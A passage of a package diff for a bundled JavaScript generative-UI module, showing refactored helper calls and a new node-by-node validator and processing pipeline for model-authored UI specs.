const out = [];
|
|
1026
1774
|
for (const raw of v) {
|
|
1027
1775
|
if (out.length >= GENUI_LIMITS.maxDiagramEdges) break;
|
|
1028
|
-
const o = obj
|
|
1776
|
+
const o = obj(raw);
|
|
1029
1777
|
if (o === void 0) continue;
|
|
1030
1778
|
const from = str(o.from, 128);
|
|
1031
1779
|
const to = str(o.to, 128);
|
|
@@ -1041,7 +1789,7 @@ function repairDiagramEdges(v) {
|
|
|
1041
1789
|
return out;
|
|
1042
1790
|
}
|
|
1043
1791
|
function repairDiagramTheme(v) {
|
|
1044
|
-
const o = obj
|
|
1792
|
+
const o = obj(v);
|
|
1045
1793
|
if (o === void 0) return void 0;
|
|
1046
1794
|
const out = {};
|
|
1047
1795
|
for (const key of [
|
|
@@ -1066,7 +1814,7 @@ function repairDiagramZones(v) {
|
|
|
1066
1814
|
const out = [];
|
|
1067
1815
|
for (const raw of v) {
|
|
1068
1816
|
if (out.length >= GENUI_LIMITS.maxDiagramZones) break;
|
|
1069
|
-
const o = obj
|
|
1817
|
+
const o = obj(raw);
|
|
1070
1818
|
if (o === void 0) continue;
|
|
1071
1819
|
const label = str(o.label, 64);
|
|
1072
1820
|
if (label === void 0) continue;
|
|
@@ -1081,7 +1829,7 @@ function repairDiagramZones(v) {
|
|
|
1081
1829
|
return out;
|
|
1082
1830
|
}
|
|
1083
1831
|
function repairDiagram(v) {
|
|
1084
|
-
const o = obj
|
|
1832
|
+
const o = obj(v);
|
|
1085
1833
|
if (o === void 0) return null;
|
|
1086
1834
|
const kind = enu(o.kind, DIAGRAM_KINDS);
|
|
1087
1835
|
if (kind === void 0) return null;
|
|
@@ -1107,7 +1855,7 @@ function repairTimeline(v, cap) {
|
|
|
1107
1855
|
const out = [];
|
|
1108
1856
|
for (const item of v) {
|
|
1109
1857
|
if (out.length >= cap) break;
|
|
1110
|
-
const o = obj
|
|
1858
|
+
const o = obj(item);
|
|
1111
1859
|
const title = o === void 0 ? void 0 : str(o.title, 256);
|
|
1112
1860
|
if (title === void 0) continue;
|
|
1113
1861
|
out.push({
|
|
@@ -1126,7 +1874,7 @@ function walkTree(v, cap, depthLeft) {
|
|
|
1126
1874
|
const out = [];
|
|
1127
1875
|
for (const item of v) {
|
|
1128
1876
|
if (out.length >= cap) break;
|
|
1129
|
-
const o = obj
|
|
1877
|
+
const o = obj(item);
|
|
1130
1878
|
const name = o === void 0 ? void 0 : str(o.name, 256);
|
|
1131
1879
|
if (name === void 0) continue;
|
|
1132
1880
|
const children = o !== void 0 && depthLeft > 0 && Array.isArray(o.children) ? walkTree(o.children, cap, depthLeft - 1) : void 0;
|
|
@@ -1143,7 +1891,7 @@ function repairQuizOptions(v, answer) {
|
|
|
1143
1891
|
const out = [];
|
|
1144
1892
|
for (const optItem of v) {
|
|
1145
1893
|
if (out.length >= GENUI_LIMITS.maxQuizOptions) break;
|
|
1146
|
-
const o = obj
|
|
1894
|
+
const o = obj(optItem);
|
|
1147
1895
|
const label = typeof optItem === "string" ? str(optItem, 512) : o === void 0 ? void 0 : str(o.label, 512);
|
|
1148
1896
|
if (label === void 0) continue;
|
|
1149
1897
|
out.push({
|
|
@@ -1210,7 +1958,7 @@ function sanitizeEChartOption(v, depth, budget) {
|
|
|
1210
1958
|
}
|
|
1211
1959
|
return arr.length > 0 ? arr : void 0;
|
|
1212
1960
|
}
|
|
1213
|
-
const o = obj
|
|
1961
|
+
const o = obj(v);
|
|
1214
1962
|
if (o === void 0) return void 0;
|
|
1215
1963
|
const out = {};
|
|
1216
1964
|
for (const [key, val] of Object.entries(o)) {
|
|
@@ -1229,13 +1977,13 @@ function sanitizeEChartOption(v, depth, budget) {
|
|
|
1229
1977
|
* dropping/clamping/truncating. Idempotent: repairing a repaired spec is a
|
|
1230
1978
|
* no-op.
|
|
1231
1979
|
*/
|
|
1232
|
-
function
|
|
1233
|
-
const v = obj
|
|
1980
|
+
function repairCanonicalGenuiSpec(value) {
|
|
1981
|
+
const v = obj(value);
|
|
1234
1982
|
if (v === void 0) return null;
|
|
1235
1983
|
if (!Array.isArray(v.items)) {
|
|
1236
1984
|
const wrapped = wrapSingleComponentRoot(value);
|
|
1237
1985
|
if (wrapped === null) return null;
|
|
1238
|
-
return
|
|
1986
|
+
return repairCanonicalGenuiSpec(wrapped);
|
|
1239
1987
|
}
|
|
1240
1988
|
const ctx = { remaining: GENUI_LIMITS.maxNodes };
|
|
1241
1989
|
return {
|
|
@@ -1262,81 +2010,34 @@ function countGenuiNodes(value, cap = Number.POSITIVE_INFINITY) {
|
|
|
1262
2010
|
for (const item of list) {
|
|
1263
2011
|
if (count >= cap) return;
|
|
1264
2012
|
count += 1;
|
|
1265
|
-
const v = obj
|
|
2013
|
+
const v = obj(item);
|
|
1266
2014
|
if (v === void 0) continue;
|
|
1267
2015
|
if (v.type === "tabs" && Array.isArray(v.tabs)) for (const t of v.tabs) {
|
|
1268
2016
|
if (count >= cap) return;
|
|
1269
|
-
const to = obj
|
|
2017
|
+
const to = obj(t);
|
|
1270
2018
|
if (to !== void 0) walk(to.items);
|
|
1271
2019
|
}
|
|
1272
2020
|
else if (v.type === "accordion" && Array.isArray(v.items)) for (const it of v.items) {
|
|
1273
2021
|
if (count >= cap) return;
|
|
1274
|
-
const io = obj
|
|
2022
|
+
const io = obj(it);
|
|
1275
2023
|
if (io !== void 0) walk(io.items);
|
|
1276
2024
|
}
|
|
1277
2025
|
else if ((v.type === "row" || v.type === "col" || v.type === "grid" || v.type === "card") && Array.isArray(v.items)) walk(v.items);
|
|
1278
|
-
else if (v.type === "file-tree" && Array.isArray(v.items))
|
|
1279
|
-
else if (v.type === "list" && Array.isArray(v.items)) for (const li of v.items) {
|
|
2026
|
+
else if (v.type === "file-tree") {} else if (v.type === "list" && Array.isArray(v.items)) for (const li of v.items) {
|
|
1280
2027
|
if (count >= cap) return;
|
|
1281
|
-
const lo = obj
|
|
2028
|
+
const lo = obj(li);
|
|
1282
2029
|
if (lo !== void 0 && typeof lo.type === "string") walk([lo]);
|
|
1283
2030
|
}
|
|
1284
2031
|
}
|
|
1285
2032
|
};
|
|
1286
|
-
const root = obj
|
|
2033
|
+
const root = obj(value);
|
|
1287
2034
|
walk(root === void 0 ? [] : root.items);
|
|
1288
2035
|
return count;
|
|
1289
2036
|
}
|
|
1290
2037
|
/** Every white-listed node `type`. Keep in sync with the repairNode switch —
|
|
1291
2038
|
* validate_dsh_ui uses it to tell declared GenUI nodes apart from unrelated
|
|
1292
2039
|
* `"type"` strings (e.g. file-tree's `{type:'file'}` children). */
|
|
1293
|
-
const GENUI_NODE_TYPES =
|
|
1294
|
-
"accordion",
|
|
1295
|
-
"audio",
|
|
1296
|
-
"avatar",
|
|
1297
|
-
"badge",
|
|
1298
|
-
"breadcrumb",
|
|
1299
|
-
"button",
|
|
1300
|
-
"callout",
|
|
1301
|
-
"card",
|
|
1302
|
-
"chart",
|
|
1303
|
-
"checkbox",
|
|
1304
|
-
"code",
|
|
1305
|
-
"col",
|
|
1306
|
-
"copy",
|
|
1307
|
-
"diff",
|
|
1308
|
-
"divider",
|
|
1309
|
-
"file-tree",
|
|
1310
|
-
"grid",
|
|
1311
|
-
"image",
|
|
1312
|
-
"input",
|
|
1313
|
-
"json",
|
|
1314
|
-
"keyvalue",
|
|
1315
|
-
"link",
|
|
1316
|
-
"list",
|
|
1317
|
-
"mermaid",
|
|
1318
|
-
"plot",
|
|
1319
|
-
"progress",
|
|
1320
|
-
"quiz",
|
|
1321
|
-
"radio",
|
|
1322
|
-
"row",
|
|
1323
|
-
"scene3d",
|
|
1324
|
-
"select",
|
|
1325
|
-
"slider",
|
|
1326
|
-
"spacer",
|
|
1327
|
-
"stat",
|
|
1328
|
-
"steps",
|
|
1329
|
-
"submit",
|
|
1330
|
-
"switch",
|
|
1331
|
-
"table",
|
|
1332
|
-
"tabs",
|
|
1333
|
-
"text",
|
|
1334
|
-
"textarea",
|
|
1335
|
-
"timeline",
|
|
1336
|
-
"video",
|
|
1337
|
-
"echart",
|
|
1338
|
-
"diagram"
|
|
1339
|
-
]);
|
|
2040
|
+
const GENUI_NODE_TYPES = GENUI_NATIVE_TYPES;
|
|
1340
2041
|
/**
|
|
1341
2042
|
* Visit and count declared nodes in a raw spec tree: objects whose `type` is a
|
|
1342
2043
|
* white-listed string, descending the same containers `countGenuiNodes`
|
|
@@ -1346,7 +2047,7 @@ const GENUI_NODE_TYPES = /* @__PURE__ */ new Set([
|
|
|
1346
2047
|
function visitDeclaredGenuiNodes(value, cap, visit) {
|
|
1347
2048
|
let count = 0;
|
|
1348
2049
|
const declared = (candidate) => {
|
|
1349
|
-
const o = obj
|
|
2050
|
+
const o = obj(candidate);
|
|
1350
2051
|
return o !== void 0 && typeof o.type === "string" && GENUI_NODE_TYPES.has(o.type);
|
|
1351
2052
|
};
|
|
1352
2053
|
function walk(list, path) {
|
|
@@ -1358,7 +2059,7 @@ function visitDeclaredGenuiNodes(value, cap, visit) {
|
|
|
1358
2059
|
}
|
|
1359
2060
|
function walkNode(item, at) {
|
|
1360
2061
|
if (count >= cap || !declared(item)) return;
|
|
1361
|
-
const v = obj
|
|
2062
|
+
const v = obj(item);
|
|
1362
2063
|
if (v === void 0) return;
|
|
1363
2064
|
count += 1;
|
|
1364
2065
|
visit(v, at);
|
|
@@ -1368,13 +2069,13 @@ function visitDeclaredGenuiNodes(value, cap, visit) {
|
|
|
1368
2069
|
else if (v.type === "list" && Array.isArray(v.items)) for (let row = 0; row < v.items.length; row++) walkNode(v.items[row], `${at}.items[${row}]`);
|
|
1369
2070
|
}
|
|
1370
2071
|
function walkItemsOf(holder, path) {
|
|
1371
|
-
const o = obj
|
|
2072
|
+
const o = obj(holder);
|
|
1372
2073
|
if (o === void 0) return;
|
|
1373
2074
|
const items = o.items !== void 0 ? o.items : o.content;
|
|
1374
2075
|
if (Array.isArray(items)) walk(items, `${path}.items`);
|
|
1375
2076
|
else walkNode(items, `${path}.items`);
|
|
1376
2077
|
}
|
|
1377
|
-
const root = obj
|
|
2078
|
+
const root = obj(value);
|
|
1378
2079
|
if (root === void 0) return count;
|
|
1379
2080
|
if (!Array.isArray(root.items) && declared(value)) walkNode(value, "spec");
|
|
1380
2081
|
else walk(root.items, "items");
|
|
@@ -1389,23 +2090,106 @@ function visitDeclaredGenuiNodes(value, cap, visit) {
|
|
|
1389
2090
|
function countDeclaredGenuiNodes(value, cap = Number.POSITIVE_INFINITY) {
|
|
1390
2091
|
return visitDeclaredGenuiNodes(value, cap, () => {});
|
|
1391
2092
|
}
|
|
2093
|
+
/** Count native nodes that survived repair, excluding opaque custom nodes. */
|
|
2094
|
+
function countRenderedNativeGenuiNodes(value, cap = Number.POSITIVE_INFINITY) {
|
|
2095
|
+
return countDeclaredGenuiNodes(value, cap);
|
|
2096
|
+
}
|
|
1392
2097
|
/**
|
|
1393
|
-
*
|
|
1394
|
-
*
|
|
1395
|
-
*
|
|
2098
|
+
* Validate a raw spec value against the white list and limits, collecting
|
|
2099
|
+
* human-readable problems. Unlike repair this never mutates: it is a
|
|
2100
|
+
* diagnostic for tests and tooling. Unknown `type`s are reported (a plugin
|
|
2101
|
+
* custom type is valid only when a renderer is registered — the guard cannot
|
|
2102
|
+
* know, so it flags them as warnings).
|
|
1396
2103
|
*/
|
|
1397
|
-
function
|
|
2104
|
+
function validateCanonicalGenuiSpec(value) {
|
|
1398
2105
|
const errors = [];
|
|
1399
|
-
|
|
1400
|
-
|
|
1401
|
-
|
|
1402
|
-
|
|
1403
|
-
|
|
2106
|
+
const v = obj(value);
|
|
2107
|
+
if (v === void 0) return {
|
|
2108
|
+
ok: false,
|
|
2109
|
+
errors: ["spec root must be an object"]
|
|
2110
|
+
};
|
|
2111
|
+
if (!Array.isArray(v.items)) {
|
|
2112
|
+
const wrapped = wrapSingleComponentRoot(value);
|
|
2113
|
+
if (wrapped !== null) return validateCanonicalGenuiSpec(wrapped);
|
|
2114
|
+
return {
|
|
2115
|
+
ok: false,
|
|
2116
|
+
errors: ["spec.items must be an array"]
|
|
2117
|
+
};
|
|
2118
|
+
}
|
|
2119
|
+
validateSchemaFieldKinds(v, "spec", GENUI_SPEC_SCHEMA, errors, ["items"]);
|
|
2120
|
+
let count = 0;
|
|
2121
|
+
let capped = false;
|
|
2122
|
+
const walk = (list, depth, path) => {
|
|
2123
|
+
if (capped) return;
|
|
2124
|
+
if (!Array.isArray(list)) {
|
|
2125
|
+
errors.push(`${path} must be an array`);
|
|
2126
|
+
return;
|
|
2127
|
+
}
|
|
2128
|
+
for (let i = 0; i < list.length; i++) {
|
|
2129
|
+
if (capped || count >= GENUI_LIMITS.maxNodes) {
|
|
2130
|
+
if (!capped) {
|
|
2131
|
+
errors.push(`spec exceeds ${GENUI_LIMITS.maxNodes} nodes; tail elided`);
|
|
2132
|
+
capped = true;
|
|
2133
|
+
}
|
|
2134
|
+
return;
|
|
2135
|
+
}
|
|
2136
|
+
count += 1;
|
|
2137
|
+
const at = `${path}[${i}]`;
|
|
2138
|
+
validateNode(list[i], depth, at, errors, walk);
|
|
2139
|
+
}
|
|
2140
|
+
};
|
|
2141
|
+
walk(v.items, 0, "items");
|
|
2142
|
+
return {
|
|
2143
|
+
ok: errors.length === 0,
|
|
2144
|
+
errors
|
|
2145
|
+
};
|
|
2146
|
+
}
|
|
2147
|
+
/**
|
|
2148
|
+
* Run the shared canonical GenUI pipeline.
|
|
2149
|
+
*
|
|
2150
|
+
* The pipeline normalizes aliases, applies the existing deterministic repair
|
|
2151
|
+
* and security filters, validates the canonical input, and reports native
|
|
2152
|
+
* declarations that disappeared during repair. Custom nodes stay opaque and
|
|
2153
|
+
* do not participate in native unknown-field diagnostics.
|
|
2154
|
+
*
|
|
2155
|
+
* @param value - Raw GenUI spec or bare component.
|
|
2156
|
+
* @returns Canonical input, repaired output, diagnostics, and node counts.
|
|
2157
|
+
*/
|
|
2158
|
+
function processGenuiSpec(value) {
|
|
2159
|
+
const normalized = normalizeGenuiSpec(value);
|
|
2160
|
+
const repaired = repairCanonicalGenuiSpec(normalized.value);
|
|
2161
|
+
const validation = validateCanonicalGenuiSpec(normalized.value);
|
|
2162
|
+
const declaredNativeCount = countDeclaredGenuiNodes(normalized.value, GENUI_LIMITS.maxNodes + 1);
|
|
2163
|
+
const renderedNativeCount = repaired === null ? 0 : countRenderedNativeGenuiNodes(repaired);
|
|
2164
|
+
const renderedTotalCount = repaired === null ? 0 : countGenuiNodes(repaired);
|
|
2165
|
+
const errors = validation.errors.filter((error) => !error.includes(": unknown type "));
|
|
2166
|
+
if (declaredNativeCount > renderedNativeCount) errors.push(`repair dropped ${declaredNativeCount - renderedNativeCount} declared native node(s): declared ${declaredNativeCount}, rendered ${renderedNativeCount}`);
|
|
2167
|
+
return {
|
|
2168
|
+
value: normalized.value,
|
|
2169
|
+
normalized: normalized.value,
|
|
2170
|
+
repaired,
|
|
2171
|
+
spec: repaired,
|
|
2172
|
+
errors,
|
|
2173
|
+
warnings: [...normalized.warnings, ...diagnoseUnknownGenuiFields(normalized.value)],
|
|
2174
|
+
declaredCount: declaredNativeCount,
|
|
2175
|
+
renderedCount: renderedTotalCount,
|
|
2176
|
+
declaredNativeCount,
|
|
2177
|
+
renderedNativeCount,
|
|
2178
|
+
renderedTotalCount
|
|
2179
|
+
};
|
|
2180
|
+
}
|
|
2181
|
+
/** Return whether the only process errors describe an intentional budget tail cut. */
|
|
2182
|
+
function isIntentionalBudgetCut(processed) {
|
|
2183
|
+
return processed.errors.length > 0 && processed.errors.every((error) => error.startsWith("spec exceeds ") || error.startsWith("repair dropped ")) && processed.renderedNativeCount === GENUI_LIMITS.maxNodes && processed.declaredNativeCount === GENUI_LIMITS.maxNodes + 1;
|
|
2184
|
+
}
|
|
2185
|
+
/** Decide whether a repaired spec is safe to expose to any GenUI renderer. */
|
|
2186
|
+
function isRenderableProcess(processed) {
|
|
2187
|
+
return processed.spec !== null && (processed.errors.length === 0 || isIntentionalBudgetCut(processed));
|
|
1404
2188
|
}
|
|
1405
2189
|
function validateChartData(value, at, errors) {
|
|
1406
2190
|
if (!Array.isArray(value)) return;
|
|
1407
2191
|
for (let index = 0; index < value.length; index++) {
|
|
1408
|
-
const datum = obj
|
|
2192
|
+
const datum = obj(value[index]);
|
|
1409
2193
|
const path = `${at}[${index}]`;
|
|
1410
2194
|
if (datum === void 0) {
|
|
1411
2195
|
errors.push(`${path} must be an object`);
|
|
@@ -1419,7 +2203,7 @@ function validateChartData(value, at, errors) {
|
|
|
1419
2203
|
function validateChartSeries(value, at, errors) {
|
|
1420
2204
|
if (!Array.isArray(value)) return;
|
|
1421
2205
|
for (let index = 0; index < value.length; index++) {
|
|
1422
|
-
const series = obj
|
|
2206
|
+
const series = obj(value[index]);
|
|
1423
2207
|
const path = `${at}[${index}]`;
|
|
1424
2208
|
if (series === void 0) {
|
|
1425
2209
|
errors.push(`${path} must be an object`);
|
|
@@ -1437,9 +2221,220 @@ function validateChartNode(v, at, errors) {
|
|
|
1437
2221
|
if (v.data !== void 0 && !Array.isArray(v.data)) errors.push(`${at}.data must be an array`);
|
|
1438
2222
|
if (v.series !== void 0 && !Array.isArray(v.series)) errors.push(`${at}.series must be an array`);
|
|
1439
2223
|
if (v.kind !== void 0 && (typeof v.kind !== "string" || !CHART_KINDS.includes(v.kind))) errors.push(`${at}.kind must be bars, line, or donut`);
|
|
2224
|
+
const kind = v.kind === void 0 ? "bars" : v.kind;
|
|
2225
|
+
if (Array.isArray(v.data) && v.data.length === 0) errors.push(`${at}.data must not be empty`);
|
|
2226
|
+
if (Array.isArray(v.series)) {
|
|
2227
|
+
if (v.series.length === 0) errors.push(`${at}.series must not be empty`);
|
|
2228
|
+
if (kind === "line" || kind === "donut") errors.push(`${at}.series is only supported for bars`);
|
|
2229
|
+
for (let index = 0; index < v.series.length; index++) {
|
|
2230
|
+
const series = obj(v.series[index]);
|
|
2231
|
+
if (series !== void 0 && Array.isArray(series.data) && series.data.length === 0) errors.push(`${at}.series[${index}].data must not be empty`);
|
|
2232
|
+
}
|
|
2233
|
+
}
|
|
2234
|
+
if ((kind === "line" || kind === "donut") && v.data === void 0) errors.push(`${at}.data is required for ${kind}`);
|
|
1440
2235
|
validateChartData(v.data, `${at}.data`, errors);
|
|
1441
2236
|
validateChartSeries(v.series, `${at}.series`, errors);
|
|
1442
2237
|
}
|
|
2238
|
+
/** Validate table rows before repair can silently remove malformed cells. */
|
|
2239
|
+
function validateTableRows(value, at, errors) {
|
|
2240
|
+
if (!Array.isArray(value)) return;
|
|
2241
|
+
for (let rowIndex = 0; rowIndex < value.length; rowIndex++) {
|
|
2242
|
+
const row = value[rowIndex];
|
|
2243
|
+
if (obj(row) !== void 0) continue;
|
|
2244
|
+
if (!Array.isArray(row)) {
|
|
2245
|
+
errors.push(`${at}[${rowIndex}] must be an array or object`);
|
|
2246
|
+
continue;
|
|
2247
|
+
}
|
|
2248
|
+
for (let cellIndex = 0; cellIndex < row.length; cellIndex++) {
|
|
2249
|
+
const cell = row[cellIndex];
|
|
2250
|
+
if (typeof cell !== "string" && (typeof cell !== "number" || !Number.isFinite(cell))) errors.push(`${at}[${rowIndex}][${cellIndex}] must be a string or finite number`);
|
|
2251
|
+
}
|
|
2252
|
+
}
|
|
2253
|
+
}
|
|
2254
|
+
function validateNode(value, depth, at, errors, walk) {
|
|
2255
|
+
if (depth > GENUI_LIMITS.maxDepth) {
|
|
2256
|
+
errors.push(`${at}: exceeds max depth ${GENUI_LIMITS.maxDepth}`);
|
|
2257
|
+
return;
|
|
2258
|
+
}
|
|
2259
|
+
const v = obj(value);
|
|
2260
|
+
if (v === void 0) {
|
|
2261
|
+
errors.push(`${at}: must be an object`);
|
|
2262
|
+
return;
|
|
2263
|
+
}
|
|
2264
|
+
const type = v.type;
|
|
2265
|
+
if (typeof type !== "string") {
|
|
2266
|
+
errors.push(`${at}: missing string 'type'`);
|
|
2267
|
+
return;
|
|
2268
|
+
}
|
|
2269
|
+
const isStr = (name) => {
|
|
2270
|
+
if (v[name] !== void 0 && typeof v[name] !== "string") errors.push(`${at}: '${name}' must be a string`);
|
|
2271
|
+
};
|
|
2272
|
+
const isNum = (name) => {
|
|
2273
|
+
if (v[name] !== void 0 && (typeof v[name] !== "number" || !Number.isFinite(v[name]))) errors.push(`${at}: '${name}' must be a finite number`);
|
|
2274
|
+
};
|
|
2275
|
+
switch (type) {
|
|
2276
|
+
case "text":
|
|
2277
|
+
if (typeof v.content !== "string" && typeof v.text !== "string") errors.push(`${at}: type 'text' requires content or text (string)`);
|
|
2278
|
+
isStr("content");
|
|
2279
|
+
isStr("text");
|
|
2280
|
+
break;
|
|
2281
|
+
case "row":
|
|
2282
|
+
case "col":
|
|
2283
|
+
case "card":
|
|
2284
|
+
case "grid":
|
|
2285
|
+
if (!Array.isArray(v.items)) errors.push(`${at}: type '${type}' requires items (array)`);
|
|
2286
|
+
walk(v.items, depth + 1, `${at}.items`);
|
|
2287
|
+
if (type === "grid") isNum("cols");
|
|
2288
|
+
break;
|
|
2289
|
+
case "button":
|
|
2290
|
+
case "checkbox":
|
|
2291
|
+
case "link":
|
|
2292
|
+
case "switch":
|
|
2293
|
+
if (typeof v.label !== "string") errors.push(`${at}: type '${type}' requires label (string)`);
|
|
2294
|
+
isStr("label");
|
|
2295
|
+
break;
|
|
2296
|
+
case "image":
|
|
2297
|
+
case "audio":
|
|
2298
|
+
case "video":
|
|
2299
|
+
if (typeof v.src !== "string") errors.push(`${at}: type '${type}' requires src (string)`);
|
|
2300
|
+
isStr("src");
|
|
2301
|
+
isStr("alt");
|
|
2302
|
+
if (type === "video") isStr("poster");
|
|
2303
|
+
break;
|
|
2304
|
+
case "slider":
|
|
2305
|
+
isStr("label");
|
|
2306
|
+
isNum("min");
|
|
2307
|
+
isNum("max");
|
|
2308
|
+
isNum("step");
|
|
2309
|
+
isNum("value");
|
|
2310
|
+
break;
|
|
2311
|
+
case "input":
|
|
2312
|
+
case "textarea":
|
|
2313
|
+
isStr("label");
|
|
2314
|
+
isStr("placeholder");
|
|
2315
|
+
isStr("value");
|
|
2316
|
+
break;
|
|
2317
|
+
case "select":
|
|
2318
|
+
case "radio":
|
|
2319
|
+
if (!Array.isArray(v.options)) errors.push(`${at}: type '${type}' requires options (array)`);
|
|
2320
|
+
break;
|
|
2321
|
+
case "submit":
|
|
2322
|
+
if (typeof v.label !== "string") errors.push(`${at}: type 'submit' requires label (string)`);
|
|
2323
|
+
break;
|
|
2324
|
+
case "badge":
|
|
2325
|
+
if (typeof v.label !== "string" && typeof v.text !== "string" && typeof v.value !== "string") errors.push(`${at}: type 'badge' requires label, text, or value (string)`);
|
|
2326
|
+
isStr("label");
|
|
2327
|
+
isStr("text");
|
|
2328
|
+
isStr("value");
|
|
2329
|
+
break;
|
|
2330
|
+
case "stat":
|
|
2331
|
+
if (typeof v.label !== "string") errors.push(`${at}: type 'stat' requires label (string)`);
|
|
2332
|
+
if (typeof v.value !== "string") errors.push(`${at}: type 'stat' requires value (string)`);
|
|
2333
|
+
isStr("delta");
|
|
2334
|
+
break;
|
|
2335
|
+
case "progress":
|
|
2336
|
+
if (typeof v.value !== "number" || !Number.isFinite(v.value) || v.value < 0 || v.value > 100) errors.push(`${at}: type 'progress' requires value (number 0..100)`);
|
|
2337
|
+
isNum("value");
|
|
2338
|
+
break;
|
|
2339
|
+
case "avatar":
|
|
2340
|
+
if (typeof v.name !== "string") errors.push(`${at}: type 'avatar' requires name (string)`);
|
|
2341
|
+
break;
|
|
2342
|
+
case "list":
|
|
2343
|
+
if (!Array.isArray(v.items)) errors.push(`${at}: type 'list' requires items (array)`);
|
|
2344
|
+
if (Array.isArray(v.items)) for (let i = 0; i < v.items.length; i++) {
|
|
2345
|
+
const item = obj(v.items[i]);
|
|
2346
|
+
if (item !== void 0 && typeof item.type === "string") validateNode(item, depth + 1, `${at}.items[${i}]`, errors, walk);
|
|
2347
|
+
}
|
|
2348
|
+
break;
|
|
2349
|
+
case "table":
|
|
2350
|
+
if (!Array.isArray(v.columns)) errors.push(`${at}: type 'table' requires columns (array)`);
|
|
2351
|
+
if (!Array.isArray(v.rows)) errors.push(`${at}: type 'table' requires rows (array)`);
|
|
2352
|
+
validateTableRows(v.rows, `${at}.rows`, errors);
|
|
2353
|
+
break;
|
|
2354
|
+
case "chart":
|
|
2355
|
+
validateChartNode(v, at, errors);
|
|
2356
|
+
break;
|
|
2357
|
+
case "tabs":
|
|
2358
|
+
if (!Array.isArray(v.tabs)) errors.push(`${at}: type 'tabs' requires tabs (array)`);
|
|
2359
|
+
if (Array.isArray(v.tabs)) for (let i = 0; i < v.tabs.length; i++) {
|
|
2360
|
+
const t = obj(v.tabs[i]);
|
|
2361
|
+
if (t === void 0) {
|
|
2362
|
+
errors.push(`${at}.tabs[${i}] must be an object`);
|
|
2363
|
+
continue;
|
|
2364
|
+
}
|
|
2365
|
+
if (typeof t.label !== "string") errors.push(`${at}.tabs[${i}].label must be a string`);
|
|
2366
|
+
walk(t.items, depth + 1, `${at}.tabs[${i}].items`);
|
|
2367
|
+
}
|
|
2368
|
+
break;
|
|
2369
|
+
case "plot":
|
|
2370
|
+
if (!Array.isArray(v.series)) errors.push(`${at}: type 'plot' requires series (array)`);
|
|
2371
|
+
break;
|
|
2372
|
+
case "callout":
|
|
2373
|
+
if (typeof v.content !== "string") errors.push(`${at}: type 'callout' requires content (string)`);
|
|
2374
|
+
break;
|
|
2375
|
+
case "steps":
|
|
2376
|
+
if (!Array.isArray(v.steps)) errors.push(`${at}: type 'steps' requires steps (array)`);
|
|
2377
|
+
break;
|
|
2378
|
+
case "keyvalue":
|
|
2379
|
+
if (!Array.isArray(v.pairs)) errors.push(`${at}: type 'keyvalue' requires pairs (array)`);
|
|
2380
|
+
break;
|
|
2381
|
+
case "diff":
|
|
2382
|
+
if (!Array.isArray(v.diffs)) errors.push(`${at}: type 'diff' requires diffs (array)`);
|
|
2383
|
+
break;
|
|
2384
|
+
case "json":
|
|
2385
|
+
if (!("value" in v)) errors.push(`${at}: type 'json' requires value`);
|
|
2386
|
+
break;
|
|
2387
|
+
case "code":
|
|
2388
|
+
if (typeof v.code !== "string") errors.push(`${at}: type 'code' requires code (string)`);
|
|
2389
|
+
break;
|
|
2390
|
+
case "accordion":
|
|
2391
|
+
if (!Array.isArray(v.items)) errors.push(`${at}: type 'accordion' requires items (array)`);
|
|
2392
|
+
if (Array.isArray(v.items)) for (let i = 0; i < v.items.length; i++) {
|
|
2393
|
+
const item = obj(v.items[i]);
|
|
2394
|
+
if (item === void 0) {
|
|
2395
|
+
errors.push(`${at}.items[${i}] must be an object`);
|
|
2396
|
+
continue;
|
|
2397
|
+
}
|
|
2398
|
+
if (typeof item.title !== "string") errors.push(`${at}.items[${i}].title must be a string`);
|
|
2399
|
+
walk(item.items, depth + 1, `${at}.items[${i}].items`);
|
|
2400
|
+
}
|
|
2401
|
+
break;
|
|
2402
|
+
case "copy":
|
|
2403
|
+
if (typeof v.text !== "string") errors.push(`${at}: type 'copy' requires text (string)`);
|
|
2404
|
+
break;
|
|
2405
|
+
case "mermaid":
|
|
2406
|
+
if (typeof v.code !== "string") errors.push(`${at}: type 'mermaid' requires code (string)`);
|
|
2407
|
+
break;
|
|
2408
|
+
case "scene3d":
|
|
2409
|
+
if (!Array.isArray(v.meshes)) errors.push(`${at}: type 'scene3d' requires meshes (array)`);
|
|
2410
|
+
break;
|
|
2411
|
+
case "timeline":
|
|
2412
|
+
if (!Array.isArray(v.items)) errors.push(`${at}: type 'timeline' requires items (array)`);
|
|
2413
|
+
break;
|
|
2414
|
+
case "file-tree":
|
|
2415
|
+
if (!Array.isArray(v.items)) errors.push(`${at}: type 'file-tree' requires items (array)`);
|
|
2416
|
+
break;
|
|
2417
|
+
case "breadcrumb":
|
|
2418
|
+
if (!Array.isArray(v.items)) errors.push(`${at}: type 'breadcrumb' requires items (array)`);
|
|
2419
|
+
break;
|
|
2420
|
+
case "quiz":
|
|
2421
|
+
if (typeof v.question !== "string") errors.push(`${at}: type 'quiz' requires question (string)`);
|
|
2422
|
+
if (!Array.isArray(v.options)) errors.push(`${at}: type 'quiz' requires options (array)`);
|
|
2423
|
+
break;
|
|
2424
|
+
case "diagram":
|
|
2425
|
+
if (typeof v.kind !== "string") errors.push(`${at}: type 'diagram' requires kind (string)`);
|
|
2426
|
+
if (!Array.isArray(v.nodes)) errors.push(`${at}: type 'diagram' requires nodes (array)`);
|
|
2427
|
+
if (v.edges !== void 0 && !Array.isArray(v.edges)) errors.push(`${at}: type 'diagram' requires edges (array) when present`);
|
|
2428
|
+
break;
|
|
2429
|
+
case "echart":
|
|
2430
|
+
if (v.option === void 0 && v.data === void 0 && v.series === void 0) errors.push(`${at}: type 'echart' requires option, data, or series`);
|
|
2431
|
+
isNum("height");
|
|
2432
|
+
break;
|
|
2433
|
+
default: errors.push(`${at}: unknown type '${type}' (custom renderer?)`);
|
|
2434
|
+
}
|
|
2435
|
+
const definition = COMPONENT_SCHEMAS[type];
|
|
2436
|
+
if (definition !== void 0) validateRegistryFields(v, at, definition, errors);
|
|
2437
|
+
}
|
|
1443
2438
|
//#endregion
|
|
1444
2439
|
//#region src/shared/fence-repair.ts
|
|
1445
2440
|
/**
|
|
@@ -1550,83 +2545,6 @@ function completeFenceJson(raw) {
|
|
|
1550
2545
|
}
|
|
1551
2546
|
}
|
|
1552
2547
|
//#endregion
|
|
1553
|
-
//#region src/plugin/chart-contract.ts
|
|
1554
|
-
/** Plain object helper for raw model-authored specs. */
|
|
1555
|
-
function obj(value) {
|
|
1556
|
-
return typeof value === "object" && value !== null && !Array.isArray(value) ? value : void 0;
|
|
1557
|
-
}
|
|
1558
|
-
/**
|
|
